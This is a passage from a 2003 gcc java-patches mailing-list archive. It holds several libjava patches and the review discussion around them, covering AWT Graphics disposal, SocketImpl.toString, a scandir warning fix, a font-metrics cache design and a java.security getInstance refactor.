Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27129 invoked by alias); 16 Jan 2003 20:56:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27008 invoked from network); 16 Jan 2003 20:56:44 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by sources.redhat.com with SMTP; 16 Jan 2003 20:56:44 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id 8CE8A44BED for ; Thu, 16 Jan 2003 15:57:18 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Thu, 16 Jan 2003 15:53:38 -0500 Message-ID: <00a201c2bda1$78544c50$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: Cc: "Oscar Pearce" Subject: PATCH: dispose Graphics after each paint, to recover resources (particularly memory) Date: Thu, 16 Jan 2003 15:54:32 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_009E_01C2BD77.8F7088B0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 This is a multi-part message in MIME format. ------=_NextPart_000_009E_01C2BD77.8F7088B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit This patch prevents awt paint events from chewing up all your RAM (128M in my case). Oscar Pearce posted this code on the java mailing list. I built it and tested it with my application. Before the patch, my application would crash with a kernel "out of memory" error. Now it doesn't. I originally thought I'd have to modify some dispose methods in xlib to propagate between classes, but that seems already to have been done. Index: libjava/ChangeLog from Oscar Pearce and Scott Gilbertson * java.awt.Component.processPaintEvent: now disposes Graphics object each pass, to recover resources patch is attached. ------=_NextPart_000_009E_01C2BD77.8F7088B0 Content-Type: application/octet-stream; name="20030116_GraphicsDispose.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="20030116_GraphicsDispose.patch" diff -r -up gcc.patched/libjava/java/awt/Component.java = gcc/libjava/java/awt/Component.java=0A= --- gcc.patched/libjava/java/awt/Component.java 2002-12-02 = 11:45:19.000000000 -0500=0A= +++ gcc/libjava/java/awt/Component.java 2003-01-16 11:09:19.000000000 = -0500=0A= @@ -1024,6 +1025,7 @@ public abstract class Component implemen=0A= {=0A= if (peer !=3D null)=0A= {=0A= +=0A= Graphics gfx =3D peer.getGraphics();=0A= if (gfx !=3D null)=0A= return gfx;=0A= @@ -2050,22 +2052,28 @@ public abstract class Component implemen=0A= // Can't do graphics without peer=0A= if (peer =3D=3D null)=0A= return;=0A= + Graphics gfx =3D getGraphics ();=0A= + try=0A= + {=0A= + Shape clip =3D event.getUpdateRect ();=0A= + gfx.setClip (clip);=0A= =0A= - Graphics gfx =3D getGraphics();=0A= - Shape clip =3D event.getUpdateRect();=0A= - gfx.setClip(clip);=0A= -=0A= - switch (event.id)=0A= + switch (event.id)=0A= {=0A= - case PaintEvent.PAINT:=0A= - paint(gfx);=0A= - break;=0A= - case PaintEvent.UPDATE:=0A= - update(gfx);=0A= - break;=0A= - default:=0A= - throw new IllegalArgumentException("unknown paint event");=0A= + case PaintEvent.PAINT:=0A= + paint (gfx);=0A= + break;=0A= + case PaintEvent.UPDATE:=0A= + update (gfx);=0A= + break;=0A= + default:=0A= + throw new IllegalArgumentException ("unknown paint event");=0A= }=0A= + }=0A= + finally=0A= + {=0A= + gfx.dispose();=0A= + }=0A= }=0A= =0A= /**=0A= ------=_NextPart_000_009E_01C2BD77.8F7088B0-- From java-patches-return-5828-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 16 21:18:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6012 invoked by alias); 16 Jan 2003 21:18:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5997 invoked from network); 16 Jan 2003 21:17:58 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sources.redhat.com with SMTP; 16 Jan 2003 21:17:58 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18ZHOU-00082v-00; Thu, 16 Jan 2003 22:17:46 +0100 Subject: Re: I can make your gcj-compiled binaries much smaller. From: Mark Wielaard To: tromey@redhat.com Cc: java-patches@gcc.gnu.org In-Reply-To: <87n0m3jpzi.fsf@fleche.redhat.com> References: <86wul9gbuc.fsf@nowhere.com> <15906.38487.796813.768347@cuddles.cambridge.redhat.com> <86heccvxf3.fsf@nowhere.com> <15907.60527.637520.105566@cuddles.cambridge.redhat.com> <86wul7wixl.fsf@nowhere.com> <15908.31523.157278.406895@cuddles.cambridge.redhat.com> <86of6jwfrb.fsf@nowhere.com> <1042584749.2357.184.camel@elsschot> <87n0m3jpzi.fsf@fleche.redhat.com> Content-Type: multipart/mixed; boundary="=-INdrhhNDgueJOR4+kHQC" Organization: Message-Id: <1042751867.24525.79.camel@elsschot> Mime-Version: 1.0 Date: 16 Jan 2003 22:17:47 +0100 --=-INdrhhNDgueJOR4+kHQC Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, On Wed, 2003-01-15 at 00:01, Tom Tromey wrote: > >>>>> "Mark" == Mark Wielaard writes: > > Mark> P.S. Actually it doesn't work because of a bug in > Mark> SocketImpl.toString(). Patch below. > > Please put this everywhere appropriate: 3.3, 3.4, Classpath if that > code is merged. Thanks. OK. This is what has been committed (Classpath, main and branch): 2003-01-16 Mark Wielaard * java/net/SocketImpl.java (toString): Don't explicitly call toString() on possible null address. Cheers, Mark --=-INdrhhNDgueJOR4+kHQC Content-Disposition: inline; filename=SocketImpl.patch Content-Type: text/x-patch; name=SocketImpl.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/net/SocketImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/SocketImpl.java,v retrieving revision 1.11 diff -u -r1.11 SocketImpl.java --- java/net/SocketImpl.java 25 Sep 2002 05:05:06 -0000 1.11 +++ java/net/SocketImpl.java 16 Jan 2003 20:58:20 -0000 @@ -271,8 +271,9 @@ */ public String toString() { - return "[addr=" + address.toString() + ",port=" + Integer.toString(port) - + ",localport=" + Integer.toString(localport) + "]"; + return "[addr=" + address + + ",port=" + port + + ",localport=" + localport + "]"; } /** --=-INdrhhNDgueJOR4+kHQC-- From java-patches-return-5829-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 17 01:03:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30880 invoked by alias); 17 Jan 2003 01:03:32 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30867 invoked from network); 17 Jan 2003 01:03:31 -0000 Received: from unknown (HELO caip.rutgers.edu) (128.6.236.10) by sources.redhat.com with SMTP; 17 Jan 2003 01:03:31 -0000 Received: (from ghazi@localhost) by caip.rutgers.edu (8.9.3/8.9.3) id UAA01059; Thu, 16 Jan 2003 20:03:31 -0500 (EST) Date: Thu, 16 Jan 2003 20:03:31 -0500 (EST) From: "Kaveh R. Ghazi" Message-Id: <200301170103.UAA01059@caip.rutgers.edu> To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Patch for "static follows non-static" warning in java/builtins.c References: <200301121704.MAA26982@caip.rutgers.edu> > Bootstrapped successfully on sparc-sun-solaris2.7, the warning is gone. > Ok to install? > > 2003-01-11 Kaveh R. Ghazi > > * builtins.c (java_build_function_call_expr): Renamed from > build_function_call_expr. All callers changed. I decided this was "obvious" and installed it. -- Kaveh R. Ghazi ghazi@caip.rutgers.edu From java-patches-return-5830-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 17 14:05:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7884 invoked by alias); 17 Jan 2003 14:05:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7874 invoked from network); 17 Jan 2003 14:05:06 -0000 Received: from unknown (HELO tatooine.pearceenterprises.com) (66.142.116.66) by sources.redhat.com with SMTP; 17 Jan 2003 14:05:06 -0000 Received: (qmail 6574 invoked from network); 17 Jan 2003 14:05:05 -0000 Received: from katana.pearceenterprises.com (66.142.116.71) by tatooine.pearceenterprises.com with SMTP; 17 Jan 2003 14:05:05 -0000 Subject: Re: PATCH: XGraphicsConfiguration implement font metrics cache From: Oscar Pearce To: Scott Gilbertson Cc: java-patches@gcc.gnu.org In-Reply-To: <00a101c2bda1$784e31d0$3c16a8c0@mantatest.com> References: <00a101c2bda1$784e31d0$3c16a8c0@mantatest.com> Content-Type: text/plain Organization: Pearce Enterprises, Inc. Message-Id: <1042812305.21659.10.camel@katana> Mime-Version: 1.0 Date: 17 Jan 2003 08:05:05 -0600 Content-Transfer-Encoding: 7bit If it were me coding the cache, I would set up a cache per Display that got cleaned out when the Display was finalized (and/or add a dispose() method to Display). I don't *think* there's a possibility of multiple Displays in use the way that AWT is implemented, but it would be safer. The never-shrinking cache bothers me, too, especially since a Font represents a server-side resource. I'd limit the size of the cache to some fixed number of entries, but I don't have a good feel for if that number should be 1, 10, 100, or 1000. (Actually, if I expected to use this real heavily, I'd go to the trouble of having a cache that a background thread checked every once in a while to see if it throw some Fonts away when they hadn't been used in a minute or so. But I suspect that's way overkill for the amount of use that these classes are going to see.) Just my two cents, Oscar On Thu, 2003-01-16 at 14:34, Scott Gilbertson wrote: > I came accross a comment that said "FIXME: do caching", so I did. I see a > couple of possible problems with this patch, though: > 1. it assumes that visual.getScreen().getDisplay() always returns the same > value > 2. if you use many different fonts, the cache will just keep growing > My guess is that #1 is a valid assumption. Regarding #2, I considered using > weak references, but that would risk having fonts taken out of the cache > immediately before they're needed again, so I decided against it. > > To test it, I ran my application which uses Graphics.setFont in a lot of the > paint functions, and confirmed that a few different fonts show up properly. > I also noticed a large speed improvement when painting a lot of text fields. From java-patches-return-5831-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 17 14:37:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20242 invoked by alias); 17 Jan 2003 14:37:17 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20221 invoked from network); 17 Jan 2003 14:37:14 -0000 Received: from unknown (HELO caip.rutgers.edu) (128.6.236.10) by sources.redhat.com with SMTP; 17 Jan 2003 14:37:14 -0000 Received: (from ghazi@localhost) by caip.rutgers.edu (8.9.3/8.9.3) id JAA04279; Fri, 17 Jan 2003 09:37:14 -0500 (EST) Date: Fri, 17 Jan 2003 09:37:14 -0500 (EST) From: "Kaveh R. Ghazi" Message-Id: <200301171437.JAA04279@caip.rutgers.edu> To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch installed to fix scandir warning in jcf-io.c I get the following warning bootstrapping on irix6. > java/jcf-io.c:383: warning: passing arg 3 of `scandir' from incompatible pointer type If you read the comments in the code below, the warning arises because scandir isn't standardized and may require arguments differing in their const-ness on different platforms. At first I considered writing lots of autoconf hackery to find the appropriate decl and diddle the const-ness based on that. Sort of like what the intl stuff does for the iconv() decl. (See AM_ICONV in gcc/aclocal.m4 in you're interested in the gory details.) Then sanity came to me and I just added the cast. :-) Bootstrapped on mips-sgi-irix6.5 (warning gone) and so I installed the patch as "obvious". PS: with this fixed, irix6 now bootstraps with -Werror! 2003-01-16 Kaveh R. Ghazi * jcf-io.c (caching_stat): Cast the 3rd arg of scandir to void*. diff -rcp orig/egcc-CVS20030116/gcc/java/jcf-io.c egcc-CVS20030116/gcc/java/jcf-io.c *** orig/egcc-CVS20030116/gcc/java/jcf-io.c Thu Jan 9 17:53:39 2003 --- egcc-CVS20030116/gcc/java/jcf-io.c Thu Jan 16 20:39:17 2003 *************** caching_stat (char *filename, struct sta *** 368,378 **** /* Unfortunately, scandir is not fully standardized. In particular, the type of the function pointer passed as the third argument sometimes takes a "const struct dirent *" ! parameter, and sometimes just a "struct dirent *". We rely ! on the ability to interchange these two types of function ! pointers. */ dent->num_files = scandir (filename, &dent->files, ! java_or_class_file, alphasort); *slot = dent; } --- 368,377 ---- /* Unfortunately, scandir is not fully standardized. In particular, the type of the function pointer passed as the third argument sometimes takes a "const struct dirent *" ! parameter, and sometimes just a "struct dirent *". We cast ! to (void *) so that either way it is quietly accepted. */ dent->num_files = scandir (filename, &dent->files, ! (void *) java_or_class_file, alphasort); *slot = dent; } From java-patches-return-5832-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 17 15:13:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4548 invoked by alias); 17 Jan 2003 15:13:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4537 invoked from network); 17 Jan 2003 15:13:55 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sources.redhat.com with SMTP; 17 Jan 2003 15:13:55 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-12.rdu.redhat.com [172.16.50.12]) by executor.cambridge.redhat.com (Postfix) with ESMTP id A1007ABAF8; Fri, 17 Jan 2003 15:13:52 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0HFEKT07777; Fri, 17 Jan 2003 15:14:20 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15912.7628.229293.682229@cuddles.cambridge.redhat.com> Date: Fri, 17 Jan 2003 15:14:20 +0000 (GMT) To: "Kaveh R. Ghazi" Cc: java-patches@gcc.gnu.org Subject: Patch installed to fix scandir warning in jcf-io.c In-Reply-To: <200301171437.JAA04279@caip.rutgers.edu> References: <200301171437.JAA04279@caip.rutgers.edu> Kaveh R. Ghazi writes: > > PS: with this fixed, irix6 now bootstraps with -Werror! Thanks! Andrew. From java-patches-return-5833-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 17 15:46:41 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18729 invoked by alias); 17 Jan 2003 15:46:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18715 invoked from network); 17 Jan 2003 15:46:33 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by sources.redhat.com with SMTP; 17 Jan 2003 15:46:33 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id F38BB42B21 for ; Fri, 17 Jan 2003 10:47:14 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Fri, 17 Jan 2003 10:43:14 -0500 Message-ID: <00d601c2be3f$45f5a9e0$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: Subject: Re: PATCH: XGraphicsConfiguration implement font metrics cache Date: Fri, 17 Jan 2003 10:44:08 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 I could certainly re-address this thing when I'm not on an immediate deadline (in a week or two, perhaps). How about an LRU ("least recently used") buffer scheme, but no background thread: - possibly one cache per display - each font cache entry gets a timestamp whenever it's used - keep track of the oldest such timestamp - each time a font is requested, if the oldest timestamp among the other fonts is over some value (1 minute maybe), kill that entry - possibly modify the age threshold based on the size of the cache, or include a hard limit on the cache size, or something like that And if someone points out why we need it: - finalizing the per-display cache efficiently, details to be worked out if/as necessary Oscar Pearce wrote: > If it were me coding the cache, I would set up a cache per Display that > got cleaned out when the Display was finalized (and/or add a dispose() > method to Display). I don't *think* there's a possibility of multiple > Displays in use the way that AWT is implemented, but it would be safer. > > The never-shrinking cache bothers me, too, especially since a Font > represents a server-side resource. I'd limit the size of the cache to > some fixed number of entries, but I don't have a good feel for if that > number should be 1, 10, 100, or 1000. (Actually, if I expected to use > this real heavily, I'd go to the trouble of having a cache that a > background thread checked every once in a while to see if it throw some > Fonts away when they hadn't been used in a minute or so. But I suspect > that's way overkill for the amount of use that these classes are going > to see.) > > Just my two cents, > Oscar > > On Thu, 2003-01-16 at 14:34, Scott Gilbertson wrote: > > I came accross a comment that said "FIXME: do caching", so I did. I see a > > couple of possible problems with this patch, though: > > 1. it assumes that visual.getScreen().getDisplay() always returns the same > > value > > 2. if you use many different fonts, the cache will just keep growing > > My guess is that #1 is a valid assumption. Regarding #2, I considered using > > weak references, but that would risk having fonts taken out of the cache > > immediately before they're needed again, so I decided against it. > > > > To test it, I ran my application which uses Graphics.setFont in a lot of the > > paint functions, and confirmed that a few different fonts show up properly. > > I also noticed a large speed improvement when painting a lot of text fields. > > From java-patches-return-5834-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 17 16:08:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3062 invoked by alias); 17 Jan 2003 16:08:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2927 invoked from network); 17 Jan 2003 16:08:25 -0000 Received: from unknown (HELO blossom) (12.235.115.156) by sources.redhat.com with SMTP; 17 Jan 2003 16:08:25 -0000 Received: from buttercup ([192.168.0.20] helo=metastatic.org ident=rsdio) by blossom with esmtp (Exim 3.35 #1 (Debian)) id 18ZZ2d-0005PO-00; Fri, 17 Jan 2003 08:08:23 -0800 Message-ID: <3E282BAB.7020306@metastatic.org> Date: Fri, 17 Jan 2003 08:13:31 -0800 From: Casey Marshall User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021016 X-Accept-Language: en-us, en MIME-Version: 1.0 To: java-patches@gcc.gnu.org Subject: PATCH: java.security improvements X-Enigmail-Version: 0.70.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/signed; micalg=pgp-ripemd160; protocol="application/pgp-signature"; boundary="------------enig1FDC9762C7DA1AFEDC238603" This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig1FDC9762C7DA1AFEDC238603 Content-Type: multipart/mixed; boundary="------------060501070804060006020007" This is a multi-part message in MIME format. --------------060501070804060006020007 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, Attached is a patch for a number of classes in the java.security package with attempts to fix and/or improve upon the `getInstance' factory methods of MessageDigest, KeyFactory, etc. The basic idea was to replace the bulk of each `getInstance' with a call to a new package-private class method (and class) Engine.getInstance, which should both make these factory methods more robust without repeating a lot of code in each class. There is also a fix for a bias in the `next(int numBits)' method of SecureRandom (filed as PR 9271). One new package-private class -- java.security.Engine -- is added. Summary of changes follows: * AlgorithmParameterGenerator: modify getInstance methods to use the Engine class; adds JDK1.4 getInstance method; getInstance throws an exception if provider argument is null; minor comment improvements or elaborations; copyright updated to include 2003. * AlgorithmParameters: likewise. * KeyFactory: likewise. * KeyPairGenerator: likewise. * MessageDigest: likewise. * Signature: likewise. * SecureRandom: likewise; fix for a bias in the `next(int numBits)' method. * KeyStore: modify getInstance methods to use the Engine class. * Engine: new package-private class with a single package- private class method that implements a general getInstance. * libjava/Makefile.am: adds java/security/Engine.java. Cheers, -- Casey Marshall || rsdio@metastatic.org --------------060501070804060006020007 Content-Type: text/plain; name="libjava.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="libjava.patch" Index: libjava/Makefile.am =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.267 diff -u -r1.267 Makefile.am --- libjava/Makefile.am 2 Jan 2003 00:14:21 -0000 1.267 +++ libjava/Makefile.am 17 Jan 2003 15:56:23 -0000 @@ -2106,6 +2106,7 @@ java/security/DigestInputStream.java \ java/security/DomainCombiner.java \ java/security/DummyMessageDigest.java \ +java/security/Engine.java \ java/security/GeneralSecurityException.java \ java/security/Guard.java \ java/security/GuardedObject.java \ Index: libjava/java/security/AlgorithmParameterGenerator.java =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/security/AlgorithmParameterGenerator.java,v retrieving revision 1.2 diff -u -r1.2 AlgorithmParameterGenerator.java --- libjava/java/security/AlgorithmParameterGenerator.java 22 Jan 2002 22:40:30 -0000 1.2 +++ libjava/java/security/AlgorithmParameterGenerator.java 17 Jan 2003 15:56:24 -0000 @@ -1,5 +1,5 @@ /* AlgorithmParameterGenerator.java --- Algorithm Parameter Generator - Copyright (C) 1999 Free Software Foundation, Inc. + Copyright (C) 1999, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -39,20 +39,43 @@ import java.security.spec.AlgorithmParameterSpec; /** - AlgorithmParameterGenerator is used to generate - algorithm parameters for specified algorithms. - This class is used to generate the algorithm parameters - for a specific algorithm. - - @since JDK 1.2 - @author Mark Benvenuto + * Algorithm parameter generators produce {@link AlgorithmParameters} + * for various cryptographic algorithms. + * + *

Parameter generation my be done in an either algorithm-independent + * or -dependent fashion. The algorithm-independent way takes only a + * single integer argument (or a default) that is typically interpreted + * as the "size" -- for example in the case of the DSA signature + * algorithm this is the size of the prime modulus, in bits. + * + *

The algorithm-dependent approach takes a parameter specification + * as its argument (an implementation of {@link AlgorithmParameterSpec}), + * and from that produces the appropriate algorithm parameters. + * + * @see AlgorithmParameters + * @see AlgorithmParameterSpec + * @since JDK 1.2 + * @author Mark Benvenuto + * @author Casey Marshall */ public class AlgorithmParameterGenerator { + + // Constants and fields. + // ------------------------------------------------------------------------ + + /** Service name for algorithm parameter generators. */ + private static final String ALGORITHM_PARAMETER_GENERATOR = + "AlgorithmParameterGenerator"; + private AlgorithmParameterGeneratorSpi paramGenSpi; private Provider provider; private String algorithm; + // Constructor. + // ------------------------------------------------------------------------ + /** Creates an instance of AlgorithmParameters @@ -69,92 +92,102 @@ this.algorithm = algorithm; } - /** - Returns the name of the algorithm used - - @return A string with the name of the algorithm - */ - public final String getAlgorithm() - { - return algorithm; - } + // Class methods. + // ------------------------------------------------------------------------ /** - Gets an instance of the AlgorithmParameterGenerator class - which generates algorithm parameters for the specified algorithm. - If the algorithm is not found then, it throws NoSuchAlgorithmException. - - @param algorithm the name of algorithm to choose - @return a AlgorithmParameterGenerator repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented by providers + * Gets an instance of the AlgorithmParameterGenerator class + * which generates algorithm parameters for the specified algorithm. + * If the algorithm is not found then, it throws NoSuchAlgorithmException. + * + * @param algorithm the name of algorithm to choose + * @return a AlgorithmParameterGenerator repesenting the desired algorithm + * + * @throws NoSuchAlgorithmException if the algorithm is not implemented by + * providers, or if the implmementation cannot be instantiated. */ public static AlgorithmParameterGenerator getInstance(String algorithm) throws NoSuchAlgorithmException { Provider[] p = Security.getProviders(); - for (int i = 0; i < p.length; i++) - { - String classname = - p[i].getProperty("AlgorithmParameterGenerator." + algorithm); - if (classname != null) - return getInstance(classname, algorithm, p[i]); - } + for (int i = 0; i < p.length; i++) { + try { + return getInstance(algorithm, p[i]); + } catch (NoSuchAlgorithmException ignore) { } + } throw new NoSuchAlgorithmException(algorithm); } /** - Gets an instance of the AlgorithmParameterGenerator class - which generates algorithm parameters for the specified algorithm. - If the algorithm is not found then, it throws NoSuchAlgorithmException. - - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a AlgorithmParameterGenerator repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented by the provider - @throws NoSuchProviderException if the provider is not found + * Get an algorithm parameter generator for the given algorithm from + * the named provider. + * + * @param algorithm the name of algorithm to choose + * @param provider the name of the provider to find the algorithm in + * @return an AlgorithmParameterGenerator for the desired algorithm + * + * @throws NoSuchAlgorithmException if the algorithm is not implemented + * by the provider, or if the implementation cannot be + * instantiated. + * @throws NoSuchProviderException If there is no provider named + * provider currently installed. + * @throws IllegalArgumentException If provider is null + * or empty. */ - public static AlgorithmParameterGenerator getInstance(String algorithm, - String provider) - throws NoSuchAlgorithmException, NoSuchProviderException + public static AlgorithmParameterGenerator + getInstance(String algorithm, String provider) + throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider == null || provider.length() == 0) + throw new IllegalArgumentException("Illegal provider"); Provider p = Security.getProvider(provider); if (p == null) throw new NoSuchProviderException(); - return getInstance(p. - getProperty("AlgorithmParameterGenerator." + - algorithm), algorithm, p); + return getInstance(algorithm, p); } - private static AlgorithmParameterGenerator getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException + /** + * Get an algorithm parameter generator for the given algorithm from + * the specified provider. + * + * @param algorithm The algorithm to get the parameter generator for. + * @param provider The provider to get the implementation from. + * @throws NoSuchAlgorithmException If the provider does not implement + * a parameter generator for the given algorithm, or if the + * implementation cannot be instantiated. + * @throws IllegalArgumentExcpetion If provider is null. + * @since 1.4 + */ + public static AlgorithmParameterGenerator + getInstance(String algorithm, Provider provider) + throws NoSuchAlgorithmException { + if (provider == null) + throw new IllegalArgumentException("Illegal provider"); + try { + return new AlgorithmParameterGenerator( + (AlgorithmParameterGeneratorSpi) Engine.getInstance( + ALGORITHM_PARAMETER_GENERATOR, algorithm, provider), + provider, algorithm); + } catch (ClassCastException cce) { + throw new NoSuchAlgorithmException(algorithm); + } + } - try - { - return new - AlgorithmParameterGenerator((AlgorithmParameterGeneratorSpi) Class. - forName(classname).newInstance(), - provider, algorithm); - } - catch (ClassNotFoundException cnfe) - { - throw new NoSuchAlgorithmException("Class not found"); - } - catch (InstantiationException ie) - { - throw new NoSuchAlgorithmException("Class instantiation failed"); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException("Illegal Access"); - } + // Instance methods. + // ------------------------------------------------------------------------ + + /** + Returns the name of the algorithm used + + @return A string with the name of the algorithm + */ + public final String getAlgorithm() + { + return algorithm; } /** Index: libjava/java/security/AlgorithmParameters.java =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/security/AlgorithmParameters.java,v retrieving revision 1.2 diff -u -r1.2 AlgorithmParameters.java --- libjava/java/security/AlgorithmParameters.java 22 Jan 2002 22:40:30 -0000 1.2 +++ libjava/java/security/AlgorithmParameters.java 17 Jan 2003 15:56:24 -0000 @@ -1,5 +1,5 @@ /* AlgorithmParameters.java --- Algorithm Parameters Implementation Class - Copyright (C) 1999 Free Software Foundation, Inc. + Copyright (C) 1999, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -35,32 +35,49 @@ obligated to do so. If you do not wish to do so, delete this exception statement from your version. */ - package java.security; + import java.security.spec.InvalidParameterSpecException; import java.security.spec.AlgorithmParameterSpec; import java.io.IOException; /** - AlgorithmParameters is the Algorithm Parameters class which - provides an interface through which to modify parameters for - classes. This class is used to manage the algorithm parameters. - - @since JDK 1.2 - @author Mark Benvenuto + * An opaque representation of a cryptographic algorithm's parameters. + * + *

This class provides methods for encoding and decoding algorithm + * parameters to and from standard formats (ASN.1 for example), and + * for translating parameters to and from transparent representations + * (subclasses of {@link AlgorithmParameterSpec}). + * + * @see AlgorithmParameterGenerator + * @see AlgorithmParameterSpec + * @since JDK 1.2 + * @author Mark Benvenuto + * @author Casey Marshall */ public class AlgorithmParameters { + + // Constants and fields. + // ------------------------------------------------------------------------ + + /** Service name for algorithm parameters. */ + private static final String ALGORITHM_PARAMETERS = "AlgorithmParameters"; + private AlgorithmParametersSpi paramSpi; private Provider provider; private String algorithm; - /** - Creates an instance of AlgorithmParameters + // Constructor. + // ------------------------------------------------------------------------ - @param paramSpi A parameters engine to use - @param provider A provider to use - @param algorithm The algorithm + /** + * Creates an instance of AlgorithmParameters + * + * @param paramSpi A parameters engine to use + * @param provider A provider to use + * @param algorithm The algorithm */ protected AlgorithmParameters(AlgorithmParametersSpi paramSpi, Provider provider, String algorithm) @@ -70,98 +87,96 @@ this.algorithm = algorithm; } - /** - Returns the name of the algorithm used - - @return A string with the name of the algorithm - */ - public final String getAlgorithm() - { - return algorithm; - } - - /** - Gets an instance of the AlgorithmParameters class representing - the specified algorithm parameters. If the algorithm is not - found then, it throws NoSuchAlgorithmException. + // Class methods. + // ------------------------------------------------------------------------ - The returned AlgorithmParameters must still be intialized with - init(). - - @param algorithm the name of algorithm to choose - @return a AlgorithmParameters repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the 